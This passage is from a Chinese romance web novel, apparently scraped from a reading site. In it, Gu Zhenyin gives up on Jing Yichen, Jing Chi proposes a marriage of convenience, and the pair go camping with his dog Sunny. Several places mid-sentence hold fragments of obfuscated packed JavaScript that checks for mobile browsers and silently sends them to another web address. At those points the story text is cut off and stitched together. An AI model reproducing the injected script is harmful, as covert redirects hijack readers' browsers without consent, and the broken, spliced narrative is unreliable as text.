每当被景逸琛冷脸相对的时候,她回想起这件事,她都能理解他的冷淡,他的言不由衷,她总是自欺欺人,或许他只是性格使然,才会口是心非,嘴硬心软。 他性格别扭不会爱人,没关系,她可以主动靠近他,朝他走完那九十九步。 但今天的顾蓁音却发现,一切都只是她自作多情。 顾蓁音垂下眼睫:“高中的时候,有次我的to签票根弄丢了,他当时说了我几句,但后来,他送了我一张新的to签票根。” 车厢内陷入安静,景驰没有再说话,他只是看着她,眼底却是她看不懂的情绪,似墨翻涌。 看到景驰晦暗不明的神色,顾蓁音心里咯噔一下,估计景驰觉得她的喜欢很莫名其妙吧…… 她匆匆给自己找补:“当时我真的很感动,有种被人放在心上的感觉,你应该不知道这件事……” 但景驰却打断她的话:“我知道这件事。” “你高二那年,去看姜晗的舞台剧,不小心弄丢了一张to签票根。”他补充道,“你当时发了朋友圈,我还评论了。” 顾蓁音稀薄的记忆慢慢聚集,好像确有此事,她当时弄丢了票根,心情郁闷无处宣泄,随手发了条朋友圈,她好友多,不少人在她的动态下评论,大多都是安慰她的话,但她也没太留意,这其中是否有景驰。 景驰又问:“所以,你就是因为这件事喜欢他?” 顾蓁音偏过头看他:“不全是,只是这件事,我印象最深刻。” 青春期的悸动来得猛烈迅速,蓬勃的喜欢不受控制的溢出,喜欢本身就是不讲道理的,毫无预兆的,只是那一眼,那一瞬间,就让人难以忘怀,怦然心动。 她眼睫微颤:“你是不是也觉得我很丢人?追着他喜欢了七年,最后什么也没得到。” 她不撞南墙不回头,但最后却撞得头破血流。 男人的声音很淡,没有嘲笑的意味:“你只是喜欢他而已,有什么好丢人的。” “但是顾蓁音,我不希望你继续喜欢他。” 顾蓁音的心口像是被什么堵住,她问:“为什么?” “因为喜欢他,只会让你伤心流泪。”景驰的声音很低很低,“所以,能不能别再喜欢他了。” 闻言,顾蓁音眼睫颤了颤,她默然许久,久到景驰以为她不会再回答这个问题时,她的声音很轻地传来。 “我试试。” 车厢内的气氛像是被冻结,两人一路无话,街边的灯色像流水般掠过车窗,直到顾蓁音望向车窗外,只觉得街景越来越熟悉。 看到熟悉的“云雍庭”标识出现在眼前,顾蓁音才反应过来:“等等,不是送你回家吗?你怎么开到我家来了?” “不巧,我最近也住在这儿。”景驰径直开进小区,风轻云淡,“我前两年刚在这儿购置了房产。” 万恶的有钱人。 景驰:“顺便说一句,Sunny也在这儿,你要不要去我那里看看Sunny?” 顾蓁音来了精神:“可以吗?我好久没见过Sunny了!” Sunny是景驰养的陨石边牧,曾是一只狗瘟被人遗弃的幼犬,后来被景驰收养,当时是她和景驰轮流照顾,才将奄奄一息的Sunny变成一只健康小狗。 景驰住在隔壁栋,他刷虹膜带着她上楼,门刚打开,一只硕大的陨石边牧摇着尾巴朝景驰飞奔过来,景驰侧身让开:“看看是谁来了。” Sunny嗅了嗅顾蓁音,立刻热情地扑进她怀里,一顿乱蹭,一边嘤嘤嘤地撒娇。 顾蓁音眼眸一亮:“Sunny!你居然还记得我!” Sunny蹭完顾蓁音,又叼来小狗玩具,很兴奋地围着顾蓁音转圈,疯狂用爪子扒着顾蓁音,顾蓁音差点招架不住它的热情。 景驰倚在玄关处,看着顾蓁音:“小狗的记性很好,它知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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景驰只是垂首切柠檬,修长嶙峋的指节搭在柠檬上,衬得他手指洁白如玉。 “严谨些,我们俩只是暂时清清白白。” 明亮如昼的灯光下,他抬眸看向顾蓁音,光线如同画笔,勾勒映照出他俊美绝伦的眉眼轮廓,他意味深长。 “以后,可说不定。” 顾蓁音呼吸一窒,她的第六感告诉她,景驰话里有话。 莫名的,顾蓁音想起今天景爷爷对她说的话。 老爷子倒是想让她和景驰发展成不清白的关系,但怎么可能?她这辈子和景驰只能是清清白白的青梅竹马关系。 想什么来什么,下一秒,顾蓁音就听到景驰问起:“对了,今天爷爷叫你回去了?他和你说了什么?” 顾蓁音身体一僵,脑子突然闪过景爷爷对她说的话,她含糊道:“没……没说什么,只是随便聊聊。” 她总不能对景驰说,你爷爷想劝我放弃景逸琛,让我嫁给你吧。 不行不行,这句话她实在说不出口。 景驰直勾勾看着她,像是能看透她紧张的内心,让她那点想要匿藏的小心思无处遁形:“真的只是随便聊聊?” 她心乱如麻,但仍然强装镇定,仰起眼眸和他对视,手上却下意识有些心虚地摸着狗头:“当然是真的。” “是吗?” 景驰的视线从她泛红的耳尖移开,他的声音悠悠落下。 “那我怎么听爷爷说,你拒绝把结婚对象换成我?” 5. 刺激 顾蓁音语气急切:“景爷爷怎么连这个都告诉你?” 本以为只是老爷子的一时兴起,乱点鸳鸯谱,但他怎么还告诉景驰? 景驰将蜂蜜柠檬水递到她面前:“我作为当事人之一,应该有权利知道这件事。” 顾蓁音跟在他身后解释:“这只是爷爷随口一提而已,你别放在心上。” 顾蓁音生怕景驰误会她对他有非分之想,她甚至立刻放下玻璃杯,举起手指发誓,信誓旦旦:“景驰,我对你绝对没有这种想法,你放心!” 但景驰只是斜倚在岛台,原本微扬的唇角放平,像是一下子有些兴味索然,他垂眸看着面前一脸凛然的顾蓁音,正想说些什么,却听到客厅传来手机铃声。 他问:“是你的手机在响?” 顾蓁音听到熟悉的铃声,有些尴尬:“我去接个电话。” 说完,她快步走向客厅,当她看清楚手机的联系人显示“景逸琛”时,她正要接通的手悬在半空。 景驰的声音渐近:“谁的电话?” 顾蓁音下意识握紧手机:“是景逸琛的电话。” 景驰停下脚步:“需要我回避一下吗?” 顾蓁音摇摇头:“我不想接。” “那就不接。” 景驰伸手,修长的手指在手机界面上一划,电话被他利落挂断。 他的动作太过果断,顾蓁音甚至都没反应过来,景驰看着她错愕空白的表情:“怎么?你没挂过他的电话?” 顾蓁音的目光落在变暗的手机屏幕上:“几乎没有。” 以往她能接到景逸琛主动打来的电话,她都能偷偷开心一会,更遑论会去挂他的电话? 景驰双手抱臂,他慢条斯理道:“你刚刚不是答应我,会试着不去喜欢他吗?” “这就是第一步。” “想要斩断孽缘,那就硬气一点。” 顾蓁音顿住,是这样吗? 好像景驰替她跨出了第一步,打开了小缺口,她好像发现,不去在意景逸琛,并不是一件很难的事。 两分钟后,当手机再次显示景逸琛的来电通话时,顾蓁音直接把景逸琛拉黑了。 景驰看着她,唇角微不可查地翘起:“直接拉黑?这么狠?” 顾蓁音啪一声放下手机:“嗯。” 但顾蓁音心里清楚,按照景逸琛的性格,他能给她打第二次电话,已经是极限了。 即使她不拉黑他,他也不会再打电话过来。 拉黑景逸琛,只是她在提醒告诫自己,不要再动摇了。 但喜欢景逸琛已经成为她的一种习惯,倏然抽离对他的喜欢,顾蓁音的心里还是有些空落落的,好像对一切变得了无兴致,她打算打道回府。 “我要回去睡美容觉了,先回去了。” 她转而看向Sunny,语气亲昵:“Sunny再见,干妈改天再来看你。” “先别急着再见。” 景驰拿出小狗胸背,弯下身给Sunny戴上:“我要去遛狗,顺便送你回去。” 云雍庭是北城有名的高档小区,小区的绿化很好,夜晚的空气清凉如水,浮动着淡雅的玉簪花香气,萦绕在昏黄如萤火的地灯上,两人的家相隔不远,不一会就到顾蓁音家楼下。 临走之时,Sunny却像是察觉顾蓁音要走,有些依依不舍地围在她身边,仰起脑袋眼巴巴地看着她。 景驰被它不值钱的样子气笑了,他扯了扯牵引绳:“走了,这里不是你家。” 但Sunny无动于衷,还是可怜兮兮地守在顾蓁音身边,不愿意离开。 景驰在心里叹气,真的是狗随主人,一样喜欢上赶着。 顾蓁音被小狗看得有些心软,她试探地看向景驰,语气恳求:“要不……你把Sunny借我养几天?你看它都舍不得我走……” 她的语气不自觉带上婉转的娇意:“景驰,可以吗?” 夜幕下,藏在林荫里的灯色忽明忽暗,映衬着顾蓁音的眸底熠熠发亮,像是一池揉碎的星光,她就这样一瞬不瞬地望着他,好像此时此刻,她的眼里只有他,他只觉得喉咙有些发痒。 景驰看着可怜巴巴的一人一狗,最后将牵引绳递给顾蓁音:“行,你先带它上楼,我回去取他的东西,一会拿给你。” “好。” 顾蓁音由衷露出一抹笑,她语气欢快:“走吧走吧,你爸同意了,今晚住干妈家。” 景驰站在楼下,看着顾蓁音的身影消失在大堂里,他才一边往回走,一边拿出手机,拨去一个号码。 对面很快就接通,景驰愉悦地弯了弯唇,语气闲适:“小叔,晚上好。” 虽然是对长辈的问候,但他的语气全然没有任何尊敬的意味。 对面沉默片刻:“有事?” 景驰单手插兜:“没什么。我只是想提醒小叔一句,打不通的电话就别打了,她现在不想见到你。” 景逸琛的语气有些紧绷:“音音她现在和你在一起?” “是啊。”景驰噙着似有若无的笑,“她现在和我在一起。” 景逸琛沉声道:“让她给我回电话。” “小叔,她不是你的下属,收起你那高高在上的命令语气。”景驰声音懒懒,“我说了,她现在,不想接你的电话。” 景逸琛瞬间呼吸沉重:“景驰,是你和爸提议,让音音和你接触相处。” “是又如何?既然小叔不愿意娶音音,那就换人。”景驰声线清润含笑,意有所指,“而且我比小叔更年轻,更有精力,更会疼人,当然更适合她。” 景逸琛握着手机的手背青筋凸起,他想起今天下午在书房的对话。 当时老爷子语重心长地问他:“这里只有我和你两个人,你和我说一句真心话,音音追在你身后这么多年,你到底怎么想的?如果你不喜欢音音,就趁早断了她的念想,别耽误人家了。” 他垂眸:“音音她还小,我想再过两年再考虑这件事。” “过两年再考虑?”老爷子气得冷笑,“她喜欢你这么久,你还要再拖她两年?” “如果你实在不喜欢,我也不勉强,我收养你,不需要你牺牲自己的婚姻幸福来报恩。” “而且景家不是只有你才能娶她。”他冷哼一声,“别忘了,无论是年龄还是其他条件,景驰都比你更合适。” “所以我问了音音,要不要试着和景驰相处看看。” 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我在伦敦给他庆生时,明明我已经提前和他的助理确定好庆生时间,但他临时有会议,和我定下的时间有冲突,安排重新打乱,他的助理没有告诉我行程有变,他就单方面认定是我的问题,我们之间闹了些不愉快,他也没有吃我做的蛋糕。” “今天他和我解释,说是因为他助理的工作疏忽,没有及时告知我,他觉得过生日是一件无关紧要的小事,让我别计较这么多。” “明明是他助理的错,他却偏袒她,来怪我。” 顾蓁音重新坐回沙发,语气似在自嘲:“就连我刚刚不接他的电话,他还觉得我在闹小脾气。” 景驰静静听她说完,最后他兀自轻笑了声,他朝顾蓁音挑了挑眉梢:“有些人在被喜欢的时候不懂珍惜,这时候就应该刺激刺激他。” 顾蓁音下意识看向他:“怎么刺激?” “简单,这不过是男人欲擒故纵的小把戏罢了。”景驰漫不经心道,“他不是有柔弱小助理吗?你也找个男人,给他制造危机感,刺激刺激他。” 顾蓁音脑子一热,想也没想脱口而出:“我应该找谁?” 景驰蹲下身,双手交叠,意味深长地倾身看她,饶有兴致地弯了弯唇:“你觉得我怎么样?” 6. 换人 顾蓁音反应过来:“可是……你不是让我放弃喜欢他吗?” 她坐在客厅沙发上,看向他的神情透着几分乖巧懵懂。 这时候的她,倒是有点乖得可爱。 景驰:“确实应该放弃,但在放弃之前,他都这样对你,你难道不想报复他吗?” “你喜欢他,也不过是你给他额外施加的滤镜,其实等你看清他后,你就会觉得,他也不过如此。” 顾蓁音缓缓收回视线,平整的纸巾被顾蓁音揉成皱巴巴的一团,她渐渐清醒过来,她既然决定不再喜欢他,她就应该和过去断得干净,没必要在不值得的人和事上浪费时间。 自讨没趣的事,做一次就够了。 “还是算了。”顾蓁音声音渐低,“而且这是我和他的事,没必要再拉你来充当刺激他的工具人,挺不道德的。” 景驰却朝前倾身,修长的手轻轻撑在她的身侧,仿佛要将她整个人桎梏在怀里,带着浓郁的侵略感,眸底似流转着浓郁化不开的墨,即将将她裹挟吞没。 “既然如此,那履行婚约的人选,考虑考虑我?” 顾蓁音都怀疑自己耳朵出问题,震惊地看向他。 “你说什么?!” 景驰很有耐心地重复一遍:“爷爷之前说你拒绝换人,所以我认为你还喜欢他,但你现在要放弃他,不如考虑考虑我。” 顾蓁音觉得他是误会了什么,解释道:“景驰,我之前拒绝换人,也不是因为他。” “一纸婚约莫名其妙地落在你身上,我还喜欢过你小叔,突然让你娶我,我觉得对你挺不公平的,我想你应该也不想娶我。” 景驰安静地听她说完,他才嗓音徐徐开口。 “谁说我不想娶你?” “我是自愿的,顾蓁音。” 这两句话,犹如平地炸起惊雷,再一次直接把顾蓁音惊住,她看着景驰,话像是卡在喉咙里,斟酌好久,最后才艰难问出:“为什么?” 景驰轻描淡写:“我妈最近在安排我相亲,我不想和乱七八糟的人结婚。” “正好我们俩认识,还算比较熟悉,你还和我家有婚约,各方面也很合适,就当和我演场戏,结个婚来应付我妈。” “最后一个原因……”他弯了弯唇,“最后一个原因,你当年帮过我,我应该以身相许。” 景驰大三那年,创业遇上了滑铁卢,有个游戏项目夭折在上线前夕,他当时和投资方签了对赌协议,赔得血本无归,因此他还和家里闹了不愉快。 那段时间,顾蓁音以为景驰被家里断了生活费,担心他被饿死,她每个月都会偷偷往景驰卡里打钱,一连打了几个月,景驰才发现自己的账户每个月都会固定多出几万,景驰找到顾蓁音问原因,她为了照顾景驰的自尊心,她说是给Sunny买狗粮的钱。 事到如今,顾蓁音依旧用这个理由搪塞他:“我以为你当时被家里停了生活费,穷困潦倒,你吃苦没关系,饿着谁,也不能饿着我们sunny,对不对?” Sunny很配合地叫了声。 顾蓁音摸了摸Sunny的脑袋:“钱是我打给Sunny的,和你无关,所以不需要你以身相许。” 她顿了顿:“而且你应该知道,景爷爷给了我第三个选择。” “我知道。”景驰道,“我和小叔,你可以都不选,但我还是想为我自己争取一下。” 他的目光不疾不徐地停在她脸上,一字一句强调:“顾蓁音,嫁给我没有坏处。” “我的钱,你随意花,而且我也不会干涉你任何事业爱好。” “如果你不愿意,我们之间可以是有名无实的夫妻关系,也就是说,你不需要和我履行夫妻义务,以后你有喜欢的人,我们可以和平离婚。” “怎么样?” 景驰的声音轻飘飘落下:“这个世界上,你找不到比我更合适的联姻对象。” - 直到景驰离开她家,顾蓁音还没从景驰提出结婚的震惊走出来。 景驰居然想和她结婚?! 顾蓁音心乱如麻,不小心打翻了矮几上的水杯,她正要伸手拿纸巾擦拭,Sunny先一步叼着纸巾过来。 她很惊喜:“你怎么这么聪明!你高考的时候是不是坐我后面?” Sunny的眼睛是晶莹剔透的蓝色,漂亮澄澈,像蓝宝石,顾蓁音趿着平底鞋,从衣帽间的珠宝展示柜里,翻出一条珍珠蓝宝石项链,戴在Sunny的脖子上,整条狗都显得更贵气了。 顾蓁音趴在沙发上,欣赏自己的杰作,她对这套搭配很满意,但她想起景驰的话,就觉得头疼,她开始对着小狗自言自语:“Sunny,你也不想干妈变后妈吧,你这么聪明,记得回去劝劝你爸,我不需要他以身相许,他要是真的想感谢我,就给我买这套珠宝。” 顾蓁音举着平板,给小狗看一套准备拍卖的钻石高珠,小狗歪着脑袋看她,一脸懵懂。 手机震动两声,打断顾蓁音的自言自语,是助理宋悠可发来的消息。 宋悠可:【老板,您的情伤治愈了吗?】 宋悠可:【有个品牌推广快到档期了,明天该上班想视频选题写脚本了,我们想了两个选题,你看看哪个比较合适。】 顾蓁音差点忘了,自己从伦敦回来,已经无所事事好几天。 顾蓁音毕业后,一直专注经营自己的自媒体账号,到现在已经是几百万粉的美食博主了。 这个账号开始于顾蓁音留学期间,她当时在英国留学,原本家里安排了阿姨陪她一起出国,照顾她的生活起居,但阿姨家里临时有事,只待了三个月,就回国了,好在顾蓁音已经熟悉了国外生活,渐渐能照顾自己。 留学生活步入正轨,顾蓁音觉得其他都好说,只一点她无法忍受,就是国外的白人饭实在是难吃,点个中餐外卖,更是能从上午饭点配送到下午三点,速度慢得出奇,等外卖送到,她已经饿晕在公寓里。 好在她从小就喜欢自己做饭,她在课余空闲的时候,慢慢就开始自己买菜做饭,自力更生。 她的视频一开始无人问津,兢兢业业做了好几个月,她不断精进视频剪辑和内容,功夫不负有心人,某一天的视频猝不及防爆火了,这个视频浏览量特别高,点赞几十万,后来顾蓁音陆陆续续录制了几期备菜做饭视频,反响都不错,她慢慢把账号做了起来。 后来毕业回国,顾蓁音招了两个助理,顾蓁音负责视频内容剪辑和运营,其他两个助理负责商务对接和其他杂事,专注做自媒体,她的视频内容还是一如既往的做饭,但因为有了团队,她有更多精力放在视频上,拍摄手法也就更专业,视频的质量更精良,还加了自己的小巧思和创意,粉丝数也就积累到了几百万,在视频平台上小有名气。 顾蓁音有些心虚,在手机上打字回复:【好的好的,我看看。】 宋悠可发了个OK,把品牌方的要求发过来,让顾蓁音慢慢看。 品牌方发来的产品是防晒霜,他们想展示防晒霜的防晒能力,要是有户外展示画面。 “防晒霜啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223095|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾蓁音思索片刻,觉得拍个户外视频比较合适,顾蓁音正在平板上写写画画,构思脚本,手机弹出安唯的视频通话。 一接通,安唯就迫不及待:“怎么样宝?今天回老宅——” 顾蓁音深吸一口气,还是把自己的决定告诉好友:“我打算,放弃喜欢景逸琛了。” 顾蓁音简单将事情讲了一遍,话还没说完,就听到安唯骂人:“他以为他是皇帝啊?还想吃蛋糕?吃史去吧傻x!” 安唯气得不行,她的视线直接落在顾蓁音脸上,目光如炬:“你别告诉我,你还要屁颠屁颠地照做。” 顾蓁音:“我把他拉黑了。” 安唯终于松了口气,但看到顾蓁音闷闷不乐的状态,她灵机一动。 “对了,我们明天一起去露营呗。”安唯提议道,“你不是正好要拍户外视频素材吗?顺便还能散散心,我叫上我的员工,你叫上你的两个小助理,我们一起出去玩一天。” 听到“出去玩”三个字,Sunny像是接收到什么指令,立刻兴奋地凑了过来,误入了镜头。 安唯看着突然闯入镜头的狗,一脸懵:“你家怎么多了只狗?等等!这狗,好像景驰家的Sunny……” Sunny能听懂自己的名字,对着手机屏幕叫了声。 顾蓁音:“就是Sunny,对了,明天露营还要带上Sunny。” “不对,景驰的狗怎么在你家?”安唯的目光锐利,“你从实招来。” 顾蓁音:“今天半路遇到景驰,送他回家,顺带借他的狗养几天而已。” 安唯:“真的?” 为了防止安唯再问出什么,顾蓁音强行终止话题:“哎呀我要工作了,不聊了不聊了,明天再说。” 话还没说完,顾蓁音就把视频通话挂断。 一晚上的时间,顾蓁音很有灵感,把视频脚本赶了出来,第二天上午顾蓁音准备好露营的食材,顺带拍了不少素材,下午安唯开车过来,带他们一起去露营地。 安唯订的露营地并不是很远,开车二十分钟就到了,这里是一处独立树林,还有一条潺潺流水的小河,因为是工作日,没什么人,四周很安静,只能听到悦耳的蝉鸣鸟叫,让人身心放松。 到了户外,Sunny放开撒欢,安唯她们拿着飞盘,和小狗玩巡回。 顾蓁音摆好东西,拿着手机给Sunny拍了很多张美照,她后知后觉发现,自己带Sunny出来玩,于情于理要告知景驰一声。 想了想,顾蓁音编辑了一条消息,发给景驰:【我带Sunny来露营了,给你看看照片。】 顾蓁音:【图片】 收到消息的景驰,刚刚和几个合伙人开完小会。 季淳和周于承走在前面,发现景驰没有跟上来,回头一看,景驰正站在原地,垂眸看着手机。 顾蓁音拍的图片背景是虚影的绿色,Sunny脖子戴着一条珍珠蓝宝石项链,正对着镜头歪头笑。 景驰打字回复:【你几点结束?我顺便接Sunny回家。】 顾蓁音发来一个地址:【可能很晚,你有时间可以过来。】 季淳叫了景驰一声:“晚上公司聚餐,你要一起吗?” “不了。”景驰抬头,他勾着唇,像是心情很好,“晚上我还有事。” 看着景驰离开的背影,周于承好奇:“他晚上有什么事?” “我们驰是小孔雀。” 季淳意味深长:“要抛下我们开屏去了。” 7. 痒意 顾蓁音回了景驰的消息,就被两个助理拉去拍视频素材。 安唯守在一旁,有点苦不堪言,有个当美食博主的闺蜜,可以吃到很多好吃的,但在吃东西之前,也需要等顾蓁音对着精致的食物各种打灯摆拍完,才能吃。 好在面对美食不能吃的煎熬没持续太久,顾蓁音很快就拍好需要的视频素材,将美食让出来:“大家可以吃了。” 顾蓁音的厨艺很好,尝过她手艺的人,没有说不好的。 吹着自然微风,聊着天,大家聚在一起吃着东西,开始玩牌,输的人需要回答赢的人一个问题,相当于真心话大冒险。 这一局恰好是顾蓁音输了,赢的人是安唯。 顾蓁音本以为好友会高抬贵手,结果安唯直视着顾蓁音:“说一件你瞒着我的事。” 顾蓁音和安唯好得就差穿同一条裤子,顾蓁音对她几乎是无话不说,但她确实有瞒着她的事。 顾蓁音想逃避,却被安唯一把抓住:“你肯定有事瞒着我,赶紧说!” 顾蓁音只能招了:“我在留学的时候,曾经有个朋友遇到了困难,我每个月偷偷打钱接济他,一连打了半年,最后发现对方比我有钱多了。” 安唯像是听到什么很荒谬的话,她问:“男的女的?” 顾蓁音:“……男的。” “顾蓁音!你居然用自己的零花钱去养男人!”安唯气得要死,“那个软饭硬吃的男的,是不是姓景的?!” 景驰也姓景,理论上来说,安唯好像也没说错。 顾蓁音含糊道:“他后来还钱了的,连带着利息一起还的,我没吃亏。” 后来景驰发现她打钱,直接还了十倍,他说是连本带利还钱,但这个连本带利也太多了,她根本就没有吃亏。 听到顾蓁音没吃亏,安唯半信半疑:“真的?” 顾蓁音点头如捣蒜:“真的真的!” 安唯放过了她,但她的目光却透过顾蓁音,径直看向她身后。 “景驰?” 顾蓁音下意识转身循去,却看到了景驰正朝她这边走来。 他身形颀长挺拔,又长了一张帅得惨绝人寰的脸,即使是身着最简单的白衣灰裤,仍然在人群中格外引人注目。 景驰停在不远不近的位置:“我来接Sunny回家。” 安唯招呼他坐下:“景驰,这么着急走干什么?你要是没什么事,那就坐下来和我们一起吃东西,Sunny看起来也不太想回家。” Sunny趴在地上,委屈地嘤嘤叫,显然不愿意走。 景驰弯了弯唇,看向顾蓁音,询问道:“可以吗?” 虽然是疑问句,但景驰的动作却毫不见外,他从善如流地在顾蓁音身边坐下,自然得仿佛在自己家,根本没有和她客气的意思。 顾蓁音看着他毫不见外的态度:“……你都坐下了,我总不能赶你走。” 为此,顾蓁音甚至都怀疑他的真实目的,他到底是来接Sunny,还是单纯来蹭吃蹭喝。 心里有疑问,她自然得说出来,顾蓁音语气暗含怀疑:“你这次过来有什么目的?你到底是来接Sunny,还是来蹭吃蹭喝的?” 阳光下,她的脸庞格外白皙清透,眼眸像水润的黑琉璃,看起来漂亮又娇气。 景驰漫不经心道:“都不是。” 顾蓁音:“?” 景驰看了她一眼,薄唇勾起,带着几分混球的痞气:“我只是为了和你多相处相处,音音公主。” 意想不到的回答,却让顾蓁音有些差点招架不住,顾蓁音恨不得一把捂住景驰的嘴,将他拖走。 好在周围只有他们俩,这句话没有其他人听到,但不远处的安唯似有所感,朝这边看过来。 顾蓁音忍不住将折叠凳往他那边挪了挪,她压低声音:“你到底想干什么?” “昨晚我说的话,一直都作数,我是认真的,起码让我在你面前表现表现。”景驰目光扫视一圈,最后定格在顾蓁音脸上,“所以有什么需要我做的?” 她对他的话还是持有怀疑态度,但有免费的劳动力,白要白不要。 顾蓁音有些不自然,她站起身,轻咳一声:“你负责洗菜就行,其他的不许动。” 她很清楚,景驰天生在做饭这件事上毫无天赋,普通人做饭最多做得难吃,他做的饭,有毒。 她之所以这么清楚,是因为她曾经深受其害,高中的时候,就因为吃了景驰做的菜,食物中毒,被送到医院吊水。 交代完任务,顾蓁音去帮忙腌肉,一旁的宋悠可小声问:“老板,你什么时候认识这种超级大帅哥?” 顾蓁音:“从小就认识。” 宋悠可:“很帅啊,帅得可以进娱乐圈那种。” 这句话顾蓁音倒是认同,景驰确实是长了一张无懈可击的帅脸。 另一个助理苏纯也附和:“要不让你的帅哥朋友出个镜,我们这一期的数据可能差不了。” 顾蓁音心中一动,她突然想起,这一期视频的推广是防晒霜,她完全可以让景驰出镜展示。 “我们这一次要拍的防晒霜在哪儿?” 话音刚落,顾蓁音只觉得耳后肌肤火辣辣的痒痛,她下意识想要伸手去碰,抬起手才后知后觉发现自己带着手套,不得已,她只能放下手。 宋悠可发现了端倪:“老板,你怎么了?” “我好像被蚊子咬了。”顾蓁音耷拉着小脸,“耳朵后面好痒好痛……” 虽然亲近大自然很好,但蚊子也很多,顾蓁音喷了驱蚊喷雾,仍然被蚊子咬了好几个包。 顾蓁音痒得难受,想要让安唯来给她抹点清凉油,但转身看到安唯正拿着一串烤鸡翅,吃得开心,猝不及防被顾蓁音叫了声,她探头:“姐妹,你认真的吗?我现在手上都是油。” 顾蓁音扫了一圈,发现每个人都各司其职,有在切肉的,有在烧烤的,有在吃东西的,大家都有事干,但有个人,却遥遥和她对望。 景驰。 她和他四目相对,景驰像是接收到信号,很自觉走过来:“怎么了。” 安唯率先开口:“音音耳后被蚊子咬了,想让你帮忙给她涂药。” 顾蓁音正要反驳,景驰却先一步上前,倾身查看她的耳后,他的声音沉下来,多了点严肃:“确实被咬了。” 景驰拿来清凉油,用手轻轻触碰她的耳后,一点点涂抹,他的手刚刚沾过水,指腹微凉,触碰在痒处,凉凉的,很舒服。 他又问:“除了耳后,还有哪里?” 顾蓁音有些僵硬,她抬了抬脖子:“……脖子好像也被咬了。” 他凑得很近,近得顾蓁音能嗅到他身上浅淡的香气,是有些清苦的柑橘气息,萦绕着清润的水汽,像是雨后的橘子树,清新自然,混合着清凉油的凉苦味,杂糅成一种奇妙的气味,只存在他和她之间。 景驰的指腹温热,在她的皮肤上游走,她脖颈上的皮肤太嫩太薄,能清晰感知到指腹的薄茧不轻不重地按揉着皮肤,存在感让人无法忽略。 她悄悄垂眸,看到景驰的脸,他涂药的时候很认真,眼睫微微垂下,有种气质斐然的帅感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223096|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她咽了咽唾液,只觉得原本的痒,好像没有得到缓解,反而变本加厉。 片刻,景驰放下清凉油,他碰了碰红肿的位置:“还痒吗?” “……好多了。”顾蓁音低声,“谢谢。” 景驰懒懒笑了声:“应该的,毕竟我现在是公主的考察对象,表现要好点。” 他将清凉油拧上:“还有别的事吗?” 顾蓁音没有犹豫:“有。” 景驰没料到她会这样说,不由饶有兴致地挑了挑眉:“什么?” 顾蓁音轻声问:“我这期视频要推广一个品牌的防晒霜,你方不方便,出个镜?” 景驰倒是没有拒绝:“你想怎么拍?” 见景驰愿意配合,顾蓁音露出了点笑,态度也殷勤不少:“很简单的,你把防晒霜涂抹在脸上,展示防晒霜的质地就好。” 但他却突然来了句:“我自己涂?” 顾蓁音下意识答:“当然,难道你想要我给你涂防晒霜?” 景驰理直气壮:“不应该吗?” 顾蓁音:“我的手刚刚碰过生肉。” 景驰:“我不介意,我的手刚刚还给你涂了清凉油。” 拿人手软吃人嘴短,顾蓁音妥协了,露营地有水龙头,她仔仔细细地洗干净手,找出推广的防晒霜,准备开始拍。 顾蓁音拿着相机,一边拍摄,一边往他脸上涂防晒霜,她的指尖沾着白色膏体,小心翼翼地往他脸颊抹。 防晒霜的质地很轻薄,指尖划过他的好看的眉骨,顾蓁音第一次如此细致地触碰异性的脸庞,难得有些不自在,纤细的手指稍稍停滞,才接着继续涂抹。 景驰垂眸,视线很直白地落在她脸上,他像是看穿她的拘束,笑了声:“你没有摸过男人的脸吗?” 顾蓁音像是被人戳中心事:“你话怎么这么多?” 他不依不饶地追问:“小叔呢?” 顾蓁音当然没有摸过,她一直以来只敢小心翼翼地暗恋,而且景逸琛性格冷淡,她根本没有和他有过什么身体接触。 但她不太想让景驰看出她惨烈的暗恋窘态,她选择沉默。 “对了。”景驰突然问,“你昨晚,是不是没有回小叔消息?” 顾蓁音愣住。 - 景逸琛坐在餐厅里,从天色渐暗等到夜幕降临,却迟迟等不到顾蓁音。 他的眉头越皱越紧,心中的烦躁感烧得他有些坐立难安,不知怎么,他总觉得,好像有什么东西,已经失去了掌控。 早在顾蓁音在昨天就拉黑了他的号码和微信,他却没有放在心上,只当她是一时赌气,到了晚上,她仍然会按时赴约。 但,顾蓁音却没有来。 在焦灼的等待中,景逸琛无端想起过去的顾蓁音。 往日的顾蓁音,总是喜欢叽叽喳喳地和他说话,少女的嗓音脆生生的,不厌其烦地和他分享她的生活趣事,无论是大事小事,什么都说,像一只百灵鸟。 但他却嫌她烦,不会认真听,每当顾蓁音察觉他的心不在焉,她会拖长音调抱怨:“景逸琛,你有没有在听我讲话?” 他觉得顾蓁音年纪太小,至此之后每一年的生日,顾蓁音就连生日愿望都是:“我想要快点长大。” 点点滴滴如浮上心头,景逸琛拿起手机,正想给助理夏霜打电话,却不小心点开了好友动态。 最新的是景驰的好友动态,只有一张图。 阳光,树林,美好的画面。 